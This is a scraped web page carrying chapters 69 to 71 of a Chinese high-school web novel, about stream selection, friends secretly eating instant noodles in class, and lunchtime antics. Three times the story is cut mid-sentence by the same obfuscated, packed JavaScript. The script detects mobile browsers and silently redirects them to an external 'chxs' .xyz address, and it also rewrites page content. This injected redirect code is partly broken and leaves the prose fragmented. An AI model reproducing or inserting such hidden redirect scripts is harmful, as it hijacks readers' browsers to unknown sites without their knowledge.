;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019619|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着手机。只是在当柳明霞放下笔,把纸郑重地递回给季知节时淡淡地说了一句话。 “选好了?” 当然选好了,从一开始就做好决定了,并且一直在努力着。 “嗯。” “行。” 似乎是知道了无法改变母女俩想法之后的妥协,又似乎是对自己的劝解,简简单单一个字就打发走了季知节,也释然了自己。 —— 文理分科虽然是大事,同一个班的学生也多多少少能根据平时的成绩和态度来推测出他人大概是学文还是学理,但除开关系好的同学,还是很少有人会直白地去问别人选择什么,一方面是边界感,关系有亲疏远近,不是所有的事情都能去打听,如果掌握不好中间的度,那么就选择尽量少冒犯,另一方面是,他人的选择其实和自己的关系并不大,这更多的是自己的综合考量。 可即使没有刻意去打听,季知节也记得那天所有人一起讨论时,张嘉欣说过的,想要学文的话。哪怕昨天注意到女孩在分课表上写下了“理科”二字,季知节内心都抱有一丝隐秘的期望。 万一张嘉欣后来又去找李老板要了一张表呢? 万一张嘉欣能极限说服父母呢? 可意向表上龙飞凤舞的签名犹如砸向钉子的最后一锤,彻彻底底将钉子埋进了墙体,几乎找不到逃跑的痕迹。 女孩一如往常般腼腆地笑着,还顺便放了颗糖在季知节的桌上:“做同班同学的日子好像没多少了诶,所以吃颗糖吧。” 完全无法成立的因果关系,放在语文卷子上绝对会被当做病句那样拎出来修改。 季知节伸手拿过糖果,拆开包装塞进嘴里,笑着眯起了眼睛:“好甜啊。” 甜得有些发涩,从嘴巴涩到了眼睛,也许下一秒,自己的眼睛就会像眼前人一样,眼底都泛着血丝。 “不过也许我们还能继续当同桌,我要考重点班,你也是吧。” 一张分科意向表从天而降,梁子笑漫不经心地瞄了一眼自己下面的那张表,看向了这个和自己做了一年同桌的女孩,“没准还能继续当同桌。” “三年同桌都是一个人的话未免有点太可怕了吧!” 于落落皱着鼻子把分科表放到季知节桌上,一脸嫌弃地看了一眼梁子笑。 梁子笑:“?” “你什么意思啊?!” “就……没什么意思啊?”于落落装作无辜地耸了耸肩,施施然回了自己的座位。 骂又骂不过,打又不能打,梁子笑一脸气愤地坐在椅子上开始背起了单词。 “啧啧啧,能超过我们知知的机会只有期末考试一次了吧,不知道某人行不行哦。” 写作悄悄话,读作大喇叭。 于落落看着某人背着单词的模样不怀好意道。 梁子笑肉眼可见的红温了,转过头恶狠狠地看着季知节道:“你等着,期末考试我英语一定比你高。” 季知节:“……” 不是,我从头到尾都没说话吧…… 不过眼前这场无厘头的闹剧显然不是一点用也没有,坐拥黄金观影区的张嘉欣笑得眯起了眼睛,看着开心了不少。 罢了罢了,谁让我无私奉献呢。 季知节默默叹了口气,开始履行小组长的职责。 “快交作业和意向表啦!” 70. 第 70 章 虽然不知道于落落在晚上都在做些什么事情,但当季知节和张镜第三次回头时依旧只看见了一个趴着的脑袋,以及上午还没有过完,于落落就已经借了五次风油精了。到最后张镜索性直接把风油精直接摆在了于落落的桌子上。 一整个上午季知节和张镜都忍耐着没有去打扰于落落的良好睡眠,天知道这位怎么能做到连厕所都不去,下课铃一响就能无缝衔接睡眠状态,让人忍不住怀疑是不是上课就开始酝酿瞌睡了,但是一上午几乎要融入空气的风油精又预示着这个人一直在挣扎着。 “不管怎么说,能下课秒睡已经能称得上这家伙的个人技了吧?” 季知节靠在桌子上,一脸佩服地看着几乎秒睡的女孩。 广播里传来中午放学铃的响声,可显然某人已经将铃声与下课铃混为一谈,响了就直接趴在了桌上,不带丝毫犹豫。 “那要展示个人技的时候,我们是不是还得一个举音响,一个按播放啊。” 张镜学着季知节的样子靠在桌子上,目光幽幽地看着趴着睡觉的于落落。 似乎是想到那幅场景,季知节不禁打了个寒颤,连忙摆手:“那还是算了吧,太社死了。” 沈瑜收拾着桌面的手一顿,脸色复杂。 所以是有什么场合是需要介绍个人技的是吗,为什么已经一副快要社死了的样子了啊,带入感这么强的吗! “走了,吃饭去了!”周博承拍了一把沈瑜的肩膀,催促道。 沈瑜收拾完桌上的东西,朝两人点头示意一番,就跟着周博承出了门。 校园里,从人声鼎沸到悄无声息只需要不过十几分钟。破旧的风扇和悄然洒进室内的阳光做着斗争,仿佛是在较量着这间教室的温度到底由谁掌控。 可唤醒于落落的既不是炽热的阳光,也不是听起来快退休的电风扇,而是……泡面的味道。 泡面,一种物美价廉、量大管饱、虽然不健康、但是很好吃且气味霸道的美食。虽然家长都会把它贬到尘埃里,但长时间不吃,总会莫名其妙地想它,它会出现在深夜加班的办公室,也会出现在充满人间烟火的车厢里,但它不会出现在爸爸妈妈的眼皮子底下,更不会出现在……教室里。 于落落眼睛还没睁开,泡面那特有的香味就勾引着让人直起了身子,甚至都不顾有些发麻的双手,迷迷糊糊就开口问道:“哪来的香味啊?”说着还像小狗一样耸了两下鼻子。 “哟,睡美人醒了啊?” 季知节用叉子搅和了一下泡面,用空着的手做扇子,相当刻意地把香味往旁边扇了扇。 “再不醒午饭也别吃了。”张镜坐在季知节对面,埋头卷了一叉子面塞进了嘴巴,头也不抬的嘲笑道。 刚睡醒的大脑还没完全开机,脸上都还带着被压出来的红痕,于落落揉了把脸,慢吞吞地看着自己的“新同桌”,心里想问季知节怎么换位置了,开口却说道:“分我一口。” 张镜头都没抬,反手摸到自己的座位上,把一盒没开封的泡面拍在了于落落桌上,"喏,吃吧。" 甚至是于落落最爱的金汤肥牛味。 脑子清明了三秒,于落落一脸兴奋地抱着泡面就要起身往开水房去。 “等等等!”季知节匆忙咽下嘴里的泡面,伸手就向自己的书包侧边口袋摸去,一个保温杯接着被拍到了于落落桌上,季知节爽快开口:“开水,刚刚接的。” “哇!爱死你们了!”于落落不走心地发表着感言,眼睛都没从保温杯上移开一秒,反手就开始拆包装准备泡泡面。 张镜看着满眼都是泡面的女孩发出一声冷笑,朝着季知节道:“我打赌她爱的只有泡面。” “我也赌一根火腿肠。”季知节又从口袋里摸出了一根火腿肠,甚至还没放到桌上就被于落落扫走了。 女孩谄媚一笑:“怎么会呢,我当然满心满眼都是你们啦,你们怎么能比得过泡面呢……啊呸呸呸,泡面才比不过你们!” 一不小心说出心里话的女孩脸色一僵,小心地打量了一眼停下吃面,眼里布满杀意的两人,随后可爱一笑,右手敲上了自己的脑袋,声音像是加了三斤糖:“诶嘿,人家还没睡醒。”说完还不忘单眼wink加吐舌,一套流程相当熟练。 “呕~” 季知节和张镜不约而同地偏过头,嗓子里发出意味不明的呕吐声。 “就当咱的面、咱的水、咱的火腿肠都是喂了狗吧。” 张镜虚弱地搭上季知节的手,幽幽道。 “还是睡觉会打呼噜的那种狗。” 季知节也微微叹气,一副眼不见心不烦的模样。 于落落:“……” 女孩轻嘁一声,没理这两个已经开始造谣的人,乐颠颠就开始泡面。 “你那水够不够,不够我再去给你接点。” 季知节看着于落落已经开始倒水,顺嘴问道。 “够了够了,能泡熟就行。” 于落落大手一挥,哐啷啷就把一保温杯的水倒进了面里面。 “就是好像闻到了点可乐味,你们买可乐了嘛?”女孩顺手拧好杯盖,眯着眼睛观察着旁边的两个人,试图找出朋友们背着自己吃独食的证据。 季知节卷面的手一顿,眨眼速度不自觉加快,喃喃道:“不应该啊,我洗杯子了啊……” 洗……杯子? 于落落目光落在了手中的保温杯上,头顶上的问号几乎要具象化。 拿保温杯装可乐? 几乎是于落落想通关窍的同时,张镜就抱着自己的泡面转移到了季知节的桌上,只余季知节被于落落锁了喉。 “我的金汤肥牛!!!” 季知节扒拉着脖子上的手,疯狂狡辩,啊不,辩解道:“不是,这多好啊,你还能免费喝到可乐,甚至还能开发出新口味。” 于落落铁石心肠地反驳:“我不管,我不吃甜辣口的!” “而且说到底,谁家好人用保温杯装可乐啊!” 这话季知节可就不爱听了:“保温保温,它还能保冷的好不好!你懂不懂这个天还能在学校随时喝到冰可乐的含金量啊!” 于落落动作一顿,可耻地心动了:“所以你这些天我看到你上课喝水的时候,你其实都在喝冰可乐?” “没错!”季知节得意一笑,“这才叫生活啊。” 女孩的目光又落到了前面的张镜身上,张镜举起手一脸无辜:“我也是刚看见她洗杯子的时候才知道的。” “好啊你,瞒着我们这么久, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032501|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罪加一等!” “我以为这是常识!!” “哪门子常识啊!我还以为你最近一直生理期!我还说不行得劝你去医院看看,都这么长时间了还不敢喝冷水!合着你直接喝冰的!” …… 这可真是个美妙的误会。 季知节揉着自己的脖子疯狂喘气,旁边的于落落也不忘赶紧喝口面汤恢复元气。 而打斗的功夫,张镜已经默默地把面消灭得一干二净了。 “皮外伤很疼吧。”张镜看着丝毫不见伤势的两人嘲笑道。 季知节皮笑肉不笑道:“要不你来试试?” “我帮你?”于落落的手又搭上了季知节的肩膀,但所表达的意味和刚刚完全不同了。 俗话说得好,想要化解一场矛盾,最好的办法就是制造一个共同的敌人。 识时务者为俊杰,张镜十分懂眼色地摇着白旗投降。 “你把你的面拿过来,摆在一起,我想拍个照。” 于落落颐指气使地指挥着张镜,站在季知节旁边俨然一副小人得志的模样。 就在三碗泡面摆在一起时,季知节余光忽然瞄到了什么,有些犹豫地开口:“教室里,拿手机是不是不太好啊,监控好像是亮着的。” 顺着季知节的视线,张镜和于落落看到了闪着红光的摄像头,齐齐背脊一僵。 于落落尬笑一声:“你这话说的,就好像在教室里泡泡面没关系一样。” “……” 三人不约而同陷入了沉默,脑子里都想起了李化腾“这不许那不许”的叮嘱,或者说,威胁。 “应该……大概,没有人……会闲到天天盯着监控吧……” 季知节说话声越来越小,到最后一脸痛苦地捂住了自己的嘴。 这话怎么越听越像马上就要倒的flag。 显然有这种想法的不止季知节一个,于落落和张镜也都痛苦地闭上了眼睛。 “吃都吃了,又不能让我吐出来,大不了罚抄或者写卷子,就当课外练习好了。”张镜笑得一脸安详,眼镜后的脸都充斥着天使般的光芒。 “救命啊知知,她已经开始说胡话了!”于落落摇着季知节的肩膀,一脸惊恐。 “我觉得镜子说得很有道理啊,吃都吃了~”声音随着摇晃拉出了波浪线,不变的是和张镜如出一辙的安详神色。 “没救了。”于落落放弃了挣扎,开始埋头吃面。 怀着胆战心惊的心情,几人做贼一般把吃完的泡面盒子扔到了教室外面的垃圾堆,甚至连不小心飘落在地上的透明膜都捡了起来,一起扔进了大垃圾堆,还不忘把教室内的窗户和门全都打开,甚至人手一本书开始扇着风,怎一个做贼心虚了得。 “你们不问我晚上干嘛去了嘛?”一只手扇累了,于落落换了只手,看着面朝自己的两个女孩,随口问道。 季知节看着摊开的作文素材,头也没抬道:“你不是想过几天放假再说吗?” “就是啊,课间睡觉无所谓,上课的时候你自己心里有数就行。”张镜同样看着摊在于落落桌上的思维导图,说得漫不经心。 于落落眼底弥漫开一股笑意,撑着自己的脸颊满足地看着两人:“安心啦,我知道的。” 71. 第 71 章 当沈瑜和周博承再次踏进教室门,看见熟悉的一幕时,恍惚以为时间倒流了。 于落落依旧趴在桌上睡着觉,甚至连睡姿都没变过。不巧的是季知节和张镜并没有站着,否则就和刚下课一模一样了。 距离下午上课还有一会儿,教室的人并不多,零星几个人不是趴着睡觉就是在刷题,放学时间甚至比下课时间还要安静。 两人蹑手蹑脚地回到座位,几乎刚坐下,周博承就和前桌“同流合污”了,要不到一秒就趴着开始睡觉。 一句“吃饱了趴着睡觉对胃不好”卡在喉咙不上不下噎得难受。沈瑜一言难尽地看着周博承倒头就睡的样子,忽然对“个人技”三个字有了更深切的体会。 倒头就睡何尝不是周博承的个人技呢? 即使动作再轻微也不可能做到悄无声息,季知节从习题中抬起头,谨慎且缓慢地转过身子,时不时还注意着坐着的椅子。 众所周知,使用多年的椅子上橡胶圈依旧幸存的概率相当之小,而失去保护套的椅子在地面上摩擦出来的声音就和老师的指甲刮过黑板一样令人头皮发麻。 且两者发生的情况都一样的让人猝不及防。 而在沈瑜看来,季知节就像被抽了帧的视频一样,一卡一卡的,可偏偏女孩脸上的神色又十分认真,让人不敢笑出声。 沈瑜妄图用眨眼补帧,可眨眼的速度太快,季知节动作的频率又太慢,实在没办法匹配。 怎么办,好想笑。 沈瑜掐了一把大腿才堪堪止住莫名出现的笑意,一脸正经地等着女孩转到心仪的位置。 季知节丝毫不知道这短短几分钟内沈瑜的心理活动,只是满意地对丝毫没发出额外动静的自己点了个赞。 女孩小心将脑袋凑到后桌,气声道:“你进来有没有闻到味道啊?” 沈瑜耸了耸鼻尖,配合着压低声音:“没有诶,怎么啦?” 季知节小心地松了口气,更加小声了:“我们中午吃泡面来着的!” 沈瑜眉毛轻挑,眼底闪过笑意:“难怪给我发消息问能不能坐我位置,打算把锅扔给我背嘛?” 天降一口大锅差点将人砸懵,季知节不敢置信地原地起立,但站起身的下一秒,女孩幡然醒悟,几乎是面露绝望地捂住耳朵低头去看椅子。 刺耳的噪音并没有出现,原本会向后翻的椅子也只是前端翘起。一只骨节分明的手按住了椅背,用力的姿态让手背上本就若隐若现的青筋更加明显了起来,卡住椅背边缘的小拇指还泛着白,在黄色的木板上格外明显。 季知节一时不察被这突然出现的手夺去了几秒心神,缓过来之后连忙朝沈瑜看过去。 “噗。” 想要道谢的话说不出来一点,实在是沈瑜此刻的姿势实在滑稽。 大概是害怕坐着时使出的力不够按住季知节起立时带动的椅子,沈瑜也将身子向前倾,还支了上半身就是为了确保万无一失,但在沈瑜支起身子的同时,也不经意抬高了下半身,没有重量压着的椅子随着男孩起身的动作开始往后倒,沈瑜只能向后勾出一只脚,从椅子下面的横杆中穿过去,拉住了椅子,才勉强止住了后面的危机。 所谓前有狼后有虎不过如此。 季知节第一反应是摸口袋掏手机,但是残存的理智告诉自己在教室拿手机出来的风险实在太高。 而沈瑜看见女孩摸口袋的那一刻就知道了季知节在打什么鬼主意,微微眯起眼睛,声量依旧很低,但话里话外都透着凉意:“你敢拍一个试试!” 而胜负欲,就是这么被激起来的。原本打算就这么放过沈瑜的女孩眉毛一扬,不怀好意地摸出了手机:“我就是要拍那又怎么样!” 沈瑜此刻处在一种微妙的平衡当中,简直能原图出现在受力分析的大题里面。虽然能立刻将两把椅子放下,让季知节的阴谋无法得逞,但是一个人,想不发出声音地把椅子放到地上属实是有点难。 如果只是周博承在睡觉,那么不管三七二十一,沈瑜都会直接把脚抽掉,声音大不大都无所谓,可偏偏此刻是午休,教室里认真做着自己的事情的人不在少数,沈瑜实在没有办法直接这么干。 清楚自己的一番话让女孩的叛逆心显现,沈瑜无奈一笑,仿佛前几秒还在威胁人的不是自己,好声好气地哄道:“虽然没怎么样,但是太丑的照片会让我自卑的,我会没脸出现在你面前的。” “帮帮忙啦,我明天给你带糖,或者你要可乐?” “一切好商量嘛。” 不得不说,身处上位的感觉会让人上瘾,虽然不过是玩笑话,但是看着沈瑜满脸写着“拜托了”的表情还是让人十分满足。 季知节满意地勾起了唇角,按耐住快要溢出来的快乐,佯装云淡风轻道:“既然你都这么说了,那我帮帮你吧~” “太感谢了!大恩大德小的没齿难忘啊!” “简直集美貌、智慧、善良于一体啊!” “有这样的前桌我真的是太荣幸了!” 沈瑜面不改色地吹捧着,简直能写出一部《马屁指南》。 季知节就在这吹捧中逐渐迷失自我,手机早早地就塞进了口袋,慢慢把自己的椅子安静地放到地上后还不忘按住沈瑜的桌子,以免额外发出什么动静。 腾出了手再加上有季知节按住桌面,沈瑜相当轻松地把自己的桌子落到了地面且没有发出声音。 两人齐齐松了口气。 “不错啊,一个午休不到能杀青一部杂技片外加一部情景剧,于落落该拜你们为师才对。” 一口气还没吐完就被憋了回去,张镜不知什么时候转过了头,一脸淡定地看着两个人,还时不时端起水杯喝了一口。 季知节:“……” 沈瑜:“……” 杂技……情景剧…… 要素过多,季知节看着自己的同桌艰难开口道:“你……是什么……时候……” 都不用说完张镜就知道女孩想问什么,平静地拧好杯盖,张镜开口道:“从你那声‘噗’开始吧,我以为你吐血了。都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045709|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想给你打120了,结果发现需要的大概是沈瑜,关节没事吧?” “啊。”沈瑜大脑放空,条件反射般开口道:“还能用。” “那就行。”张镜点了点头,“你俩记得把脑子也一起检查一下,总感觉好像不在这的样子。” 事实证明班长扫射的范围以及威力都是令人胆寒的,季知节摸了一把自己的脑门,打了个寒战,立马坐到了自己的位置上,转头语速飞快道:“我给你擦干净了!桌子!” “还是湿纸巾擦的!超级干净!” “明天我要可乐味的软糖!” “睡觉了,我要补补脑子。” 也不等沈瑜回答,女孩一秒转过了头,二话不说争分夺秒地睡起了觉。 一次性把主线解决了,还不忘布置支线任务,甚至把回体力的方式自行解决了,让人不禁感叹真的是好一个自助式玩家。 而且…… 沈瑜看了一眼又一个倒头就睡的人,逐渐恍然——这哪是什么个人技啊,倒头就睡明明就是高中生玩家的群体技能,在同一个技能书里面学的那种。 男孩顺手把可乐软糖记到了抄作业的本子上,犹豫了片刻,也同样趴在了桌子上,试图学会这异常实用的群体技能。 趴在桌子上睡是有技巧的,如果把整个脑袋都枕在手臂上,那很大可能睡不好,尤其是夏天,头发丝和脸上的皮肤能直接和手臂上的皮肤接触,又黏又痒,枕久了手臂还会发麻,但如果把头贴在桌子上,在硬得要命的同时,起床时还会收获到一个被压平了的脸颊。 所以角度很重要,要把额头的部分卡在手肘的位置,既不会完全压住血管,又能隔开脸和课桌,不至于完全压扁,虽然最后可能会收获一个通红的额头,但是两害相权取其轻,额头面积小,骨头多,一会儿就回复原状了。 而以上,来自于周博承同学的热心分享。沈瑜不知道看过多少次周博承下课睡觉,也不知道听过多少次周博承传授所谓的睡觉经验,虽然周博承绝大多数碎碎念时沈瑜都不会当一回事,但是反复强调绝对是学习的一个好方法,睡觉的经验就这样在少量多次中躲进了沈瑜的大脑,然后存留至今,并在每一次趴着睡觉时出现。 我宝贵的脑容量啊…… 沈瑜认命般地闭上了眼睛,就这么不知不觉睡了过去。 一时间周围完全安静了下来,张镜有些不习惯地看了眼周围,除开还没来的人,这一组的人已经基本都倒下了,不管往前看还是往后看都是一览无余,一个人头都没有。 张镜:“……” 常常因为睡眠质量不够好而感到格格不入…… 制订好的计划忽然变得有些多余,摊在桌上的习题也不再像往日那般有趣。 到底该认命的是谁啊! 张镜愤愤地收起了桌上的习题,还顺手把眼镜摘了下来放到一边,用着和旁边人如出一辙的姿势倒了下去。 睡呗睡呗,谁还不会睡觉啊!我也睡! 这下,放眼望去,一马平川。